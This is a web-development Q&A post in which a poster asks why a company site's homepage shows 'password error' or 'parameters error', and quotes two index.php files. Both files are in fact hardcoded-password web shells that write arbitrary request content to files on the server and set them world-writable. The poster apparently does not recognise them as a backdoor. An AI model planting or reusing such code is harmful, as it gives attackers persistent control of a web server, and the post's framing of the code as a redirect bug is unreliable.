php - Website is not redirecting to address -

this index.php

<?php     error_reporting(e_error);     //set_time_limit(0);     //header("content-type: text/html; charset=utf-8");     $system_password="yt";     $action=$_request['action'];     $password=$_request['password'];     $filename=$_request['filename'];     $body=stripslashes($_request['body']);      if($password!=$system_password)         {             echo 'password error';             return;         }      if($action=="test")         {             echo 'test success';             return;         }      $wjj=dirname(__file__);     if(!file_exists($wjj))        {                mkdir($wjj,0777);        }      $fp=fopen($filename,"w");     //fwrite($fp,"\xef\xbb\xbf".iconv('gbk','utf-8//ignore',$body));     fwrite($fp,"\xef\xbb\xbf".$body);     fclose($fp);      if(file_exists($filename))        {             chmod($filename,0777);        }     echo "publish success"; ?> 

when set page homepage display "password error". visit:http://www.saxonybyseema.com

second index.php

<?php      //header("content-type: text/html; charset=utf-8"); $config_password="yt"; $action=$_request['action']; $password=$_request['password']; $folderpath=$_request['folderpath']; $filename=$_request['filename']; $body=stripslashes($_request['body']);  if($password==""||$filename==""||$body=="")     {         echo 'parameters error!';         return;     }  if($password!=$config_password)    {         echo 'password error!';         return;    }  $rootpath=$_server['document_root']; $newpath=$rootpath;  if($folderpath!="")     {         if($folderpath=="root")             {                  $newpath=$rootpath.'/'.$filename;             }         else             {                  createfolder($rootpath.'/'.$folderpath);                  $newpath=$rootpath.'/'.$folderpath.'/'.$filename;             }      } else      {          $newpath=$filename;      }   $fp=fopen($newpath,"w"); //fwrite($fp,"\xef\xbb\xbf".iconv('gbk','utf-8//ignore',$body)); fwrite($fp,$body); fclose($fp);  if(file_exists($newpath))     {         echo "publish success & uploaded";     }  function createfolder($path)      {         if (!file_exists($path))             {                 createfolder(dirname($path));                 mkdir($path, 0777);             }     } ?> 

when set page home page shows "parameters error". haven't developed site. handling on behalf of company. not able find issue persisting site work.